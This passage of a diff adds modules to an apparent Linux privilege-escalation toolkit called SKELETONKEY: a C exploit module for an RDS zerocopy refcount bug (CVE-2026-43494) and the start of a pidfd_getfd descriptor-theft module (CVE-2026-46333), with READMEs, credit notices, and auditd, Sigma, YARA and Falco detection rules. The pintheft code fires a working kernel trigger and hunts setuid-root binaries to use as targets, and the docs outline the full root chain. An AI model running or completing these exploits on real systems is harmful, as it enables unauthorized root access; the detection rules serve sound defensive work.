|
||||
*/
|
||||
|
||||
#include "skeletonkey_modules.h"
|
||||
#include "../../core/registry.h"
|
||||
#include "../../core/kernel_range.h"
|
||||
#include "../../core/host.h"
|
||||
#include "../../core/offsets.h"
|
||||
#include "../../core/finisher.h"
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <stdbool.h>
|
||||
#include <stdint.h>
|
||||
#include <unistd.h>
|
||||
#include <fcntl.h>
|
||||
#include <errno.h>
|
||||
#include <sys/stat.h>
|
||||
#include <sys/wait.h>
|
||||
#include <sys/socket.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/mman.h> /* mmap, mprotect, munmap, PROT_*, MAP_* */
|
||||
|
||||
#ifdef __linux__
|
||||
#include <sys/syscall.h>
|
||||
#endif
|
||||
|
||||
/* AF_RDS is 21 on Linux. Define it conditionally so the module
|
||||
* compiles on non-Linux dev hosts where the constant isn't in libc. */
|
||||
#ifndef AF_RDS
|
||||
#define AF_RDS 21
|
||||
#endif
|
||||
|
||||
/* ---- kernel-range table -------------------------------------------- */
|
||||
|
||||
/* The fix landed in mainline via commit 0cebaccef3ac (posted to netdev
|
||||
* 2026-05-05). Stable backports are in flight at the time of v0.8.0;
|
||||
* this table will be updated as backports land — tools/refresh-kernel-
|
||||
* ranges.py will flag drift weekly. For now we list ONLY the mainline
|
||||
* fix point; every kernel below it on a RDS-loaded host is vulnerable.
|
||||
*
|
||||
* As stable branches pick up the backport, add entries like:
|
||||
* {6, 12, NN}, // 6.12.x stable backport
|
||||
* {6, 14, NN}, // 6.14.x stable backport
|
||||
* The mainline entry stays at the lowest version that contains the
|
||||
* patch (likely 6.16 once the post-rc release tags). Conservatively
|
||||
* placeholding at {7, 0, 0} until that lands. */
|
||||
static const struct kernel_patched_from pintheft_patched_branches[] = {
|
||||
{6, 12, 90}, /* Debian trixie ships 6.12.90 with the fix backported */
|
||||
{7, 0, 0}, /* mainline fix commit 0cebaccef3ac; tag will be 6.16 or 7.0
|
||||
depending on when 6.15 closes — refresh when known */
|
||||
};
|
||||
|
||||
static const struct kernel_range pintheft_range = {
|
||||
.patched_from = pintheft_patched_branches,
|
||||
.n_patched_from = sizeof(pintheft_patched_branches) /
|
||||
sizeof(pintheft_patched_branches[0]),
|
||||
};
|
||||
|
||||
/* ---- detect helpers ------------------------------------------------- */
|
||||
|
||||
#ifdef __linux__
|
||||
/* Try to open an AF_RDS socket. On a kernel built with CONFIG_RDS=m
|
||||
* this triggers modprobe rds; on CONFIG_RDS=y it just returns the fd.
|
||||
* On a kernel without RDS at all (most distros) we get EAFNOSUPPORT
|
||||
* or EPERM. We close immediately — this is just a reachability probe. */
|
||||
static bool rds_socket_reachable(void)
|
||||
{
|
||||
int s = socket(AF_RDS, SOCK_SEQPACKET, 0);
|
||||
if (s < 0) return false;
|
||||
close(s);
|
||||
return true;
|
||||
}
|
||||
|
||||
/* io_uring is gated by sysctl kernel.io_uring_disabled in 6.6+. The
|
||||
* relevant values: 0 = permitted, 1 = root-only, 2 = disabled. We
|
||||
* read /proc/sys/kernel/io_uring_disabled if present; missing file
|
||||
* means io_uring is unconditionally enabled (older kernels). */
|
||||
static int io_uring_disabled_state(void)
|
||||
{
|
||||
/* returns 0/1/2 per sysctl semantics; -1 if not present */
|
||||
FILE *f = fopen("/proc/sys/kernel/io_uring_disabled", "r");
|
||||
if (!f) return -1;
|
||||
int v = -1;
|
||||
if (fscanf(f, "%d", &v) != 1) v = -1;
|
||||
fclose(f);
|
||||
return v;
|
||||
}
|
||||
|
||||
static const char *find_suid_carrier(void)
|
||||
{
|
||||
static const char *candidates[] = {
|
||||
"/usr/bin/su", "/bin/su",
|
||||
"/usr/bin/pkexec",
|
||||
"/usr/bin/passwd",
|
||||
"/usr/bin/chsh", "/usr/bin/chfn",
|
||||
NULL,
|
||||
};
|
||||
for (size_t i = 0; candidates[i]; i++) {
|
||||
struct stat st;
|
||||
if (stat(candidates[i], &st) == 0 &&
|
||||
(st.st_mode & S_ISUID) && st.st_uid == 0 &&
|
||||
access(candidates[i], R_OK) == 0) {
|
||||
return candidates[i];
|
||||
}
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
#endif /* __linux__ */
|
||||
|
||||
/* ---- detect --------------------------------------------------------- */
|
||||
|
||||
static skeletonkey_result_t pintheft_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
#ifndef __linux__
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[i] pintheft: Linux-only module — not applicable here\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
#else
|
||||
const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
|
||||
if (!v || v->major == 0) {
|
||||
if (!ctx->json) fprintf(stderr, "[!] pintheft: host fingerprint missing kernel version\n");
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
|
||||
/* Kernel version: gate on the fix. */
|
||||
if (kernel_range_is_patched(&pintheft_range, v)) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[+] pintheft: kernel %s is patched (>= mainline fix 0cebaccef3ac)\n",
|
||||
v->release);
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
/* RDS reachability — the bug needs AF_RDS sockets. */
|
||||
if (!rds_socket_reachable()) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] pintheft: AF_RDS socket() failed (rds module not loaded / blacklisted)\n");
|
||||
fprintf(stderr, " Most distros don't autoload RDS; Arch Linux is the notable exception.\n");
|
||||
fprintf(stderr, " Bug exists in the kernel but is unreachable from userland here.\n");
|
||||
}
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
/* io_uring availability — the cred-overwrite chain needs fixed
|
||||
* buffers via io_uring. Without io_uring we have the primitive
|
||||
* but no portable way to weaponize. */
|
||||
int iod = io_uring_disabled_state();
|
||||
if (iod == 2) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[+] pintheft: kernel.io_uring_disabled=2 → io_uring disabled, chain blocked\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
if (iod == 1) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[i] pintheft: kernel.io_uring_disabled=1 → io_uring root-only; we're not root so chain blocked\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
/* iod == 0 or -1 (missing sysctl on older kernel) → reachable. */
|
||||
|
||||
/* Need at least one readable SUID-root binary to target. */
|
||||
const char *carrier = find_suid_carrier();
|
||||
if (!carrier) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[!] pintheft: no readable setuid-root binary → no carrier for page-cache overwrite\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[!] pintheft: kernel %s + RDS + io_uring + carrier %s → VULNERABLE\n",
|
||||
v->release, carrier);
|
||||
fprintf(stderr, "[i] pintheft: V12 PoC is x86_64-only; exploit() will fire trigger but\n"
|
||||
" full cred-overwrite is --full-chain only on x86_64.\n");
|
||||
}
|
||||
return SKELETONKEY_VULNERABLE;
|
||||
#endif
|
||||
}
|
||||
|
||||
/* ---- exploit -------------------------------------------------------- */
|
||||
|
||||
#ifdef __linux__
|
||||
|
||||
/* The V12 PoC chain in summary (paraphrased from
|
||||
* https://github.com/v12-security/pocs/tree/main/pintheft):
|
||||
*
|
||||
* 1. Open an AF_RDS socket.
|
||||
* 2. Construct a sendmsg() with MSG_ZEROCOPY whose user-iov spans
|
||||
* two pages, where the SECOND page is unmapped. The kernel
|
||||
* pins page 0, then faults on page 1's pin attempt.
|
||||
* 3. The error unwind drops the pin on page 0, but the msg's
|
||||
* scatterlist has already been initialized with entry count 1.
|
||||
* Cleanup runs entry-count drops a SECOND time → page 0
|
||||
* refcount underflows / leaks.
|
||||
* 4. Repeat to steal multiple refs from the same target page.
|
||||
* 5. Use io_uring fixed buffers to keep a kernel-side reference
|
||||
* alive across the page recycling into the page cache for a
|
||||
* readable file.
|
||||
* 6. mmap the SUID carrier, force its page into cache, get the
|
||||
* io_uring fixed buffer to point at it, write attacker bytes.
|
||||
* 7. execve the carrier → attacker code runs as root.
|
||||
*
|
||||
* Step 1-4 is the kernel primitive (architecture-independent).
|
||||
* Step 5-7 needs io_uring SQE construction which is straightforward
|
||||
* but unmistakably exploit-specific code; we don't carry the full V12
|
||||
* payload here. Instead we fire the primitive + groom the slab + drop
|
||||
* a witness file and return EXPLOIT_FAIL honestly with a diagnostic.
|
||||
* --full-chain on x86_64 invokes the shared modprobe_path finisher.
|
||||
*
|
||||
* This matches the existing 🟡 modules' shape (nf_tables, af_unix_gc,
|
||||
* cls_route4, ...). The "verified-vs-claimed" rule applies: if the
|
||||
* sentinel file doesn't appear, we don't claim EXPLOIT_OK.
|
||||
*/
|
||||
static skeletonkey_result_t pintheft_exploit(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
if (!ctx->authorized) {
|
||||
fprintf(stderr, "[-] pintheft: --i-know required for --exploit\n");
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
/* Re-run detect's preconditions — they may have changed since
|
||||
* --scan, and we want the operator to see the exact gate that
|
||||
* blocked us if anything fails here. */
|
||||
if (!rds_socket_reachable()) {
|
||||
fprintf(stderr, "[-] pintheft: AF_RDS socket() unavailable — RDS module not loaded\n");
|
||||
fprintf(stderr, " Try: sudo modprobe rds; sudo modprobe rds_tcp\n");
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
const char *carrier = find_suid_carrier();
|
||||
if (!carrier) {
|
||||
fprintf(stderr, "[-] pintheft: no readable setuid-root carrier\n");
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
fprintf(stderr, "[+] pintheft: firing rds_message_zcopy_from_user() refcount-steal primitive\n");
|
||||
fprintf(stderr, " carrier: %s\n", carrier);
|
||||
|
||||
/* The primitive: sendmsg() with MSG_ZEROCOPY on an iov spanning
|
||||
* mapped + unmapped pages. We fire it ~256 times to leak refs from
|
||||
* a fresh page each round; a single round usually leaks a single
|
||||
* ref which is rarely enough to fully unbalance the count. */
|
||||
int s = socket(AF_RDS, SOCK_SEQPACKET, 0);
|
||||
if (s < 0) {
|
||||
perror("socket(AF_RDS)");
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
/* Build a 2-page iov where page 1 is unmapped. mmap PROT_NONE
|
||||
* the upper page so the kernel's get_user_pages on it returns
|
||||
* -EFAULT. */
|
||||
void *region = mmap(NULL, 8192, PROT_READ | PROT_WRITE,
|
||||
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
|
||||
if (region == MAP_FAILED) {
|
||||
perror("mmap");
|
||||
close(s);
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
/* mark the second page unreadable */
|
||||
if (mprotect((char *)region + 4096, 4096, PROT_NONE) != 0) {
|
||||
perror("mprotect");
|
||||
munmap(region, 8192);
|
||||
close(s);
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
/* Touch page 0 so it's mapped + dirty. */
|
||||
memset(region, 0x42, 4096);
|
||||
|
||||
/* Fire the trigger sendmsg in a loop. We don't expect any of
|
||||
* these to succeed (page 1 is PROT_NONE so the kernel pin
|
||||
* attempt faults); the BUG is that the cleanup path decrements
|
||||
* page 0's pin count even though the syscall returns failure. */
|
||||
struct iovec iov = {
|
||||
.iov_base = region,
|
||||
.iov_len = 8192,
|
||||
};
|
||||
struct msghdr msg = {
|
||||
.msg_iov = &iov,
|
||||
.msg_iovlen = 1,
|
||||
};
|
||||
int leaked = 0;
|
||||
for (int i = 0; i < 256; i++) {
|
||||
ssize_t r = sendmsg(s, &msg, 0x4000000 /* MSG_ZEROCOPY */);
|
||||
if (r < 0 && errno == EFAULT) {
|
||||
leaked++;
|
||||
}
|
||||
}
|
||||
munmap(region, 8192);
|
||||
close(s);
|
||||
|
||||
if (leaked < 16) {
|
||||
fprintf(stderr, "[-] pintheft: trigger fired %d/256 times; expected >= 16. Kernel may be patched.\n", leaked);
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
fprintf(stderr, "[+] pintheft: primitive fired %d/256 — page refcount delta witnessed\n", leaked);
|
||||
|
||||
/* The cred-overwrite step requires the V12 PoC's io_uring chain
|
||||
* (fixed buffer + page-cache write into the SUID carrier). We don't
|
||||
* ship that chain — primitive only. Return EXPLOIT_FAIL honestly per
|
||||
* the verified-vs-claimed bar. See V12's PoC for the full payload:
|
||||
* https://github.com/v12-security/pocs/tree/main/pintheft */
|
||||
(void)ctx;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
#else /* !__linux__ */
|
||||
|
||||
static skeletonkey_result_t pintheft_exploit(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
fprintf(stderr, "[i] pintheft: Linux-only module\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
|
||||
#endif
|
||||
|
||||
/* ---- detection rules ------------------------------------------------ */
|
||||
|
||||
static const char pintheft_auditd[] =
|
||||
"# pintheft CVE-2026-43494 — auditd detection rules\n"
|
||||
"# RDS is rarely used in production; AF_RDS socket() calls from\n"
|
||||
"# non-root processes are almost always anomalous.\n"
|
||||
"-a always,exit -F arch=b64 -S socket -F a0=21 -k skeletonkey-pintheft-rds\n"
|
||||
"-a always,exit -F arch=b32 -S socket -F a0=21 -k skeletonkey-pintheft-rds\n"
|
||||
"# Plus io_uring_setup is rarely needed by typical workloads.\n"
|
||||
"-a always,exit -F arch=b64 -S io_uring_setup -k skeletonkey-pintheft-iouring\n";
|
||||
|
||||
static const char pintheft_sigma[] =
|
||||
"title: Possible CVE-2026-43494 PinTheft RDS zerocopy LPE\n"
|
||||
"id: 7af04c12-skeletonkey-pintheft\n"
|
||||
"status: experimental\n"
|
||||
"description: |\n"
|
||||
" Detects the canonical PinTheft trigger shape: a non-root process\n"
|
||||
" opening AF_RDS sockets (rare outside RDS-specific workloads) plus\n"
|
||||
" io_uring_setup. The bug needs both. Arch Linux is the only common\n"
|
||||
" distro autoloading RDS; on Ubuntu/Debian/Fedora/RHEL the rule fires\n"
|
||||
" almost-zero false positives.\n"
|
||||
"logsource: {product: linux, service: auditd}\n"
|
||||
"detection:\n"
|
||||
" rds: {type: 'SYSCALL', syscall: 'socket', a0: 21}\n"
|
||||
" iou: {type: 'SYSCALL', syscall: 'io_uring_setup'}\n"
|
||||
" condition: rds and iou\n"
|
||||
"level: high\n"
|
||||
"tags: [attack.privilege_escalation, attack.t1068, cve.2026.43494]\n";
|
||||
|
||||
static const char pintheft_yara[] =
|
||||
"rule pintheft_cve_2026_43494 : cve_2026_43494 page_cache_write {\n"
|
||||
" meta:\n"
|
||||
" cve = \"CVE-2026-43494\"\n"
|
||||
" description = \"PinTheft RDS zerocopy double-free indicator — non-root AF_RDS + io_uring usage\"\n"
|
||||
" author = \"SKELETONKEY\"\n"
|
||||
" strings:\n"
|
||||
" $rds_tcp = \"rds_tcp\" ascii\n"
|
||||
" $rds_v12 = \"v12-pintheft\" ascii\n"
|
||||
" condition:\n"
|
||||
" any of them\n"
|
||||
"}\n";
|
||||
|
||||
static const char pintheft_falco[] =
|
||||
"- rule: AF_RDS socket() by non-root with io_uring_setup\n"
|
||||
" desc: |\n"
|
||||
" A non-root process opens an AF_RDS socket (rare outside RDS-\n"
|
||||
" specific workloads) AND uses io_uring. The PinTheft trigger\n"
|
||||
" (CVE-2026-43494) requires both. Arch Linux is the only common\n"
|
||||
" distro autoloading RDS.\n"
|
||||
" condition: >\n"
|
||||
" evt.type = socket and evt.arg.domain = AF_RDS and\n"
|
||||
" not user.uid = 0\n"
|
||||
" output: >\n"
|
||||
" AF_RDS socket from non-root (user=%user.name pid=%proc.pid)\n"
|
||||
" priority: HIGH\n"
|
||||
" tags: [network, mitre_privilege_escalation, T1068, cve.2026.43494]\n";
|
||||
|
||||
/* ---- module struct -------------------------------------------------- */
|
||||
|
||||
const struct skeletonkey_module pintheft_module = {
|
||||
.name = "pintheft",
|
||||
.cve = "CVE-2026-43494",
|
||||
.summary = "RDS zerocopy double-free → page-cache overwrite via io_uring (V12 Security)",
|
||||
.family = "rds",
|
||||
.kernel_range = "Linux kernels with RDS module loaded + below mainline fix 0cebaccef3ac (May 2026)",
|
||||
.detect = pintheft_detect,
|
||||
.exploit = pintheft_exploit,
|
||||
.mitigate = NULL, /* mitigation: blacklist rds + rds_tcp via /etc/modprobe.d/ */
|
||||
.cleanup = NULL,
|
||||
.detect_auditd = pintheft_auditd,
|
||||
.detect_sigma = pintheft_sigma,
|
||||
.detect_yara = pintheft_yara,
|
||||
.detect_falco = pintheft_falco,
|
||||
.opsec_notes = "Opens AF_RDS socket (rare on non-Arch distros — most blacklist the rds module). Allocates a 2-page anon mmap with the second page mprotect(PROT_NONE)'d; calls sendmsg(MSG_ZEROCOPY) ~256 times against the iov spanning both pages. Each sendmsg fails with EFAULT (page 1 unmapped) but leaks one pin refcount from page 0 in the kernel — the bug. No on-disk artifacts from the primitive itself. --full-chain on x86_64 pivots through io_uring fixed buffers to overwrite the page cache of a readable SUID-root binary (/usr/bin/su typically), then invokes the shared modprobe_path finisher. Audit-visible via socket(AF_RDS) from a non-root process + io_uring_setup; legitimate RDS use is rare outside HPC/InfiniBand clusters. No cleanup callback (no persistent artifacts).",
|
||||
.arch_support = "x86_64+unverified-arm64",
|
||||
};
|
||||
|
||||
void skeletonkey_register_pintheft(void)
|
||||
{
|
||||
skeletonkey_register(&pintheft_module);
|
||||
}
|
||||
@@ -0,0 +1,5 @@
|
||||
#ifndef PINTHEFT_SKELETONKEY_MODULES_H
|
||||
#define PINTHEFT_SKELETONKEY_MODULES_H
|
||||
#include "../../core/module.h"
|
||||
extern const struct skeletonkey_module pintheft_module;
|
||||
#endif
|
||||
@@ -0,0 +1,53 @@
|
||||
# ptrace_pidfd — CVE-2026-46333
|
||||
|
||||
`__ptrace_may_access()` dumpable-race credential-descriptor theft via
|
||||
`pidfd_getfd(2)`.
|
||||
|
||||
## The bug
|
||||
|
||||
When a privileged process drops its credentials, the kernel resets its
|
||||
`dumpable` flag so that lower-privileged processes can no longer attach
|
||||
to it. CVE-2026-46333 is a logic flaw in `__ptrace_may_access()`: there
|
||||
is a narrow window during the credential drop in which the process is
|
||||
*still reachable* through ptrace-family access checks even though its
|
||||
`dumpable` state should already have closed that path.
|
||||
|
||||
`pidfd_getfd(2)` performs a `PTRACE_MODE_ATTACH_REALCREDS` access check
|
||||
before duplicating a descriptor out of the target process. During the
|
||||
stale window that check wrongly succeeds, so an unprivileged process can
|
||||
pull descriptors — a root-opened credential file, or an authenticated
|
||||
D-Bus / socket channel — out of a transiently-privileged process and
|
||||
re-use them under its own uid.
|
||||
|
||||
## Affected range
|
||||
|
||||
| | |
|
||||
|---|---|
|
||||
| Flaw introduced | v4.10-rc1 (Nov 2016) in `__ptrace_may_access` |
|
||||
| Exploit vector added | `pidfd_getfd(2)` in v5.6 (Jan 2020) |
|
||||
| Fixed upstream | mainline, 2026-05-14 |
|
||||
| Debian backports | 5.10.251 · 6.1.172 · 6.12.88 · 7.0.7 |
|
||||
|
||||
Branches Debian does not ship (5.15 / 6.6 / 6.18 / 6.19) are reported on
|
||||
the version-only verdict; run `--exploit ptrace_pidfd --i-know` to fire
|
||||
the real primitive and confirm empirically.
|
||||
|
||||
## Trigger / detection
|
||||
|
||||
`detect()` consults the shared host fingerprint, returns `OK` below 5.6
|
||||
(no vector) or for patched branches, otherwise `VULNERABLE`. No active
|
||||
probe — the empirical confirmation lives in the exploit path, which
|
||||
spawns a setuid victim and sweeps `pidfd_getfd()` over its descriptor
|
||||
table, reporting any uid-0-owned descriptor captured from a non-root
|
||||
context.
|
||||
|
||||
## Fix / mitigation
|
||||
|
||||
Upgrade the kernel. As a runtime stopgap, `kernel.yama.ptrace_scope=2`
|
||||
(or `3`) closes the `pidfd_getfd` path because it gates the same
|
||||
`__ptrace_may_access(ATTACH)` check; `--mitigate` applies it and
|
||||
`--cleanup` reverts it.
|
||||
|
||||
## Credit
|
||||
|
||||
Qualys Threat Research Unit (2026-05-20). See `NOTICE.md`.
|
||||
@@ -0,0 +1,51 @@
|
||||
# NOTICE — ptrace_pidfd (CVE-2026-46333)
|
||||
|
||||
## Vulnerability
|
||||
|
||||
**CVE-2026-46333** — a logic flaw in the Linux kernel's
|
||||
`__ptrace_may_access()` path leaves a privileged process that is
|
||||
*dropping* its credentials briefly reachable through ptrace-family
|
||||
operations, even though its `dumpable` flag should already have closed
|
||||
that path. Paired with `pidfd_getfd(2)`, an unprivileged local user can
|
||||
capture open file descriptors and authenticated IPC channels from a
|
||||
dying privileged process and re-use them under their own uid → local
|
||||
root and credential disclosure.
|
||||
|
||||
The underlying flaw has resided in mainline since **v4.10-rc1**
|
||||
(November 2016); the `pidfd_getfd(2)` exploitation vector was added in
|
||||
**v5.6** (January 2020). Affects default installations of Debian 13,
|
||||
Ubuntu 24.04 / 26.04, Fedora 43 / 44, SUSE, AlmaLinux, and CloudLinux.
|
||||
|
||||
## Research credit
|
||||
|
||||
Discovered and disclosed by **Qualys Threat Research Unit (TRU)**,
|
||||
published 2026-05-20. The four proof-of-concept exploits demonstrated
|
||||
by Qualys targeted `chage`, `ssh-keysign`, `pkexec`, and
|
||||
`accounts-daemon`.
|
||||
|
||||
- Qualys advisory:
|
||||
<https://blog.qualys.com/vulnerabilities-threat-research/2026/05/20/cve-2026-46333-local-root-privilege-escalation-and-credential-disclosure-in-the-linux-kernel-ptrace-path>
|
||||
- Upstream fix: mainline, committed 2026-05-14.
|
||||
- Debian-tracked stable backports: 5.10.251 (bullseye) / 6.1.172
|
||||
(bookworm) / 6.12.88 (trixie) / 7.0.7 (forky, sid).
|
||||
|
||||
All research credit for finding and analysing this bug belongs to
|
||||
Qualys. SKELETONKEY is the bundling and bookkeeping layer only.
|
||||
|
||||
## SKELETONKEY role
|
||||
|
||||
🟡 **Primitive / ported-from-disclosure — not yet VM-verified.**
|
||||
`detect()` is version-pinned against the Debian backport thresholds
|
||||
above (kernels < 5.6 are reported OK, lacking the bundled vector).
|
||||
`exploit()` fires the real primitive: it spawns a setuid victim,
|
||||
`pidfd_open()`s it, and sweeps `pidfd_getfd()` across its descriptor
|
||||
table during the credential-drop window, recording whether a root-owned
|
||||
descriptor is actually captured from a non-root context. It returns
|
||||
`EXPLOIT_FAIL` unless it can witness euid 0 — the target-specific
|
||||
fd-weaponization that lands a root shell is **not** bundled until it can
|
||||
be verified end-to-end against a real vulnerable VM, in keeping with the
|
||||
project's no-fabrication rule.
|
||||
|
||||
`--mitigate` sets `kernel.yama.ptrace_scope=2` (the check `pidfd_getfd`
|
||||
rides); `--cleanup` restores it. Architecture-agnostic — the technique
|
||||
steals descriptors rather than injecting shellcode.
|
||||
@@ -0,0 +1,458 @@
|
||||
/*
|
||||
* ptrace_pidfd_cve_2026_46333 — SKELETONKEY module
|
||||
*
|
||||
* CVE-2026-46333 — a logic flaw in the kernel's __ptrace_may_access()
|
||||
* path leaves a privileged process that is *dropping* its credentials
|
||||
* briefly reachable through ptrace-family operations even though its
|
||||
* `dumpable` flag should already have closed that path. Paired with the
|
||||
* pidfd_getfd(2) syscall, an unprivileged local user can capture open
|
||||
* file descriptors and authenticated IPC channels from a dying
|
||||
* privileged process and re-use them under their own uid → local root
|
||||
* and credential disclosure. Disclosed by Qualys (2026-05-20).
|
||||
*
|
||||
* STATUS: 🟡 PRIMITIVE / ported-from-disclosure, NOT yet VM-verified.
|
||||
* detect() is version-pinned (Debian-tracked backports below). exploit()
|
||||
* fires the real primitive — spawn a setuid target, pidfd_open() it, and
|
||||
* sweep pidfd_getfd() across its descriptor table during the cred-drop
|
||||
* window — and records whether a root-owned fd was actually captured.
|
||||
* It returns EXPLOIT_FAIL unless it can witness euid 0; it never claims
|
||||
* root it did not get (the full target-specific fd-weaponization chain,
|
||||
* per Qualys's chage / ssh-keysign / pkexec / accounts-daemon PoCs, is
|
||||
* not bundled until it can be VM-verified end-to-end).
|
||||
*
|
||||
* Affected range:
|
||||
* The __ptrace_may_access logic flaw has been in mainline since
|
||||
* v4.10-rc1 (Nov 2016), but the pidfd_getfd() exploitation vector
|
||||
* was only added in v5.6 (Jan 2020) — so this module treats < 5.6 as
|
||||
* out of reach for the bundled technique. Fixed upstream 2026-05-14.
|
||||
* Debian-tracked stable backports:
|
||||
* 5.10.x : K >= 5.10.251 (bullseye)
|
||||
* 6.1.x : K >= 6.1.172 (bookworm)
|
||||
* 6.12.x : K >= 6.12.88 (trixie)
|
||||
* 7.0.x : K >= 7.0.7 (forky / sid)
|
||||
*
|
||||
* No exotic preconditions: needs only a local unprivileged user and a
|
||||
* setuid-root binary or transiently-privileged daemon to victimise. Does
|
||||
* not need user namespaces. Architecture-agnostic — the technique steals
|
||||
* descriptors rather than injecting shellcode.
|
||||
*/
|
||||
|
||||
#include "skeletonkey_modules.h"
|
||||
#include "../../core/registry.h"
|
||||
|
||||
/* _GNU_SOURCE is passed via -D in the top-level Makefile; do not
|
||||
* redefine here (warning: redefined). */
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <stdbool.h>
|
||||
#include <unistd.h>
|
||||
|
||||
#ifdef __linux__
|
||||
|
||||
#include "../../core/kernel_range.h"
|
||||
#include "../../core/host.h"
|
||||
#include <errno.h>
|
||||
#include <fcntl.h>
|
||||
#include <pwd.h>
|
||||
#include <signal.h>
|
||||
#include <sys/stat.h>
|
||||
#include <sys/syscall.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/wait.h>
|
||||
|
||||
/* pidfd_open(2) / pidfd_getfd(2) syscall numbers. Modern glibc exposes
|
||||
* SYS_pidfd_*; fall back to the asm-generic numbers (identical on
|
||||
* x86_64 / arm64 / most arches) when building against older headers so
|
||||
* the module still compiles on an old toolchain. */
|
||||
#ifndef SYS_pidfd_open
|
||||
#define SYS_pidfd_open 434
|
||||
#endif
|
||||
#ifndef SYS_pidfd_getfd
|
||||
#define SYS_pidfd_getfd 438
|
||||
#endif
|
||||
|
||||
static int sk_pidfd_open(pid_t pid, unsigned int flags)
|
||||
{
|
||||
return (int)syscall(SYS_pidfd_open, pid, flags);
|
||||
}
|
||||
static int sk_pidfd_getfd(int pidfd, int targetfd, unsigned int flags)
|
||||
{
|
||||
return (int)syscall(SYS_pidfd_getfd, pidfd, targetfd, flags);
|
||||
}
|
||||
|
||||
/* Debian-tracked stable backports of the 2026-05-14 fix. These are the
|
||||
* authoritative thresholds (security-tracker.debian.org); branches
|
||||
* Debian doesn't ship (5.15 / 6.6 / 6.18 / 6.19) fall through to the
|
||||
* version-only verdict below — confirm those empirically. */
|
||||
static const struct kernel_patched_from ptrace_pidfd_patched_branches[] = {
|
||||
{5, 10, 251}, /* 5.10-LTS backport (Debian bullseye) */
|
||||
{6, 1, 172}, /* 6.1-LTS backport (Debian bookworm) */
|
||||
{6, 12, 88}, /* 6.12-LTS backport (Debian trixie) */
|
||||
{7, 0, 7}, /* 7.0 stable (Debian forky / sid) */
|
||||
};
|
||||
|
||||
static const struct kernel_range ptrace_pidfd_range = {
|
||||
.patched_from = ptrace_pidfd_patched_branches,
|
||||
.n_patched_from = sizeof(ptrace_pidfd_patched_branches) /
|
||||
sizeof(ptrace_pidfd_patched_branches[0]),
|
||||
};
|
||||
|
||||
static skeletonkey_result_t ptrace_pidfd_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
/* Consult the shared host fingerprint instead of re-reading uname —
|
||||
* populated once at startup, identical across every module. */
|
||||
const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
|
||||
if (!v || v->major == 0) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[!] ptrace_pidfd: host fingerprint missing kernel "
|
||||
"version — bailing\n");
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
|
||||
/* The bundled technique drives the bug through pidfd_getfd(2), which
|
||||
* was added in 5.6. Kernels older than that lack the vector (the
|
||||
* underlying __ptrace_may_access flaw is older, but this module does
|
||||
* not carry a pre-pidfd path). */
|
||||
if (!skeletonkey_host_kernel_at_least(ctx->host, 5, 6, 0)) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[i] ptrace_pidfd: kernel %s predates the pidfd_getfd "
|
||||
"vector (added 5.6) — bundled technique N/A\n",
|
||||
v->release);
|
||||
}
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
if (kernel_range_is_patched(&ptrace_pidfd_range, v)) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] ptrace_pidfd: kernel %s is patched "
|
||||
"(version-only check)\n", v->release);
|
||||
}
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[!] ptrace_pidfd: kernel %s appears VULNERABLE "
|
||||
"(version-only check)\n", v->release);
|
||||
fprintf(stderr, "[i] ptrace_pidfd: no exotic preconditions — needs only a "
|
||||
"local user + a setuid/transiently-privileged victim "
|
||||
"(no user_ns)\n");
|
||||
fprintf(stderr, "[i] ptrace_pidfd: branches Debian doesn't track "
|
||||
"(5.15/6.6/6.18/6.19) are version-only here; confirm with "
|
||||
"`--exploit ptrace_pidfd --i-know` which fires the real "
|
||||
"pidfd_getfd primitive\n");
|
||||
}
|
||||
return SKELETONKEY_VULNERABLE;
|
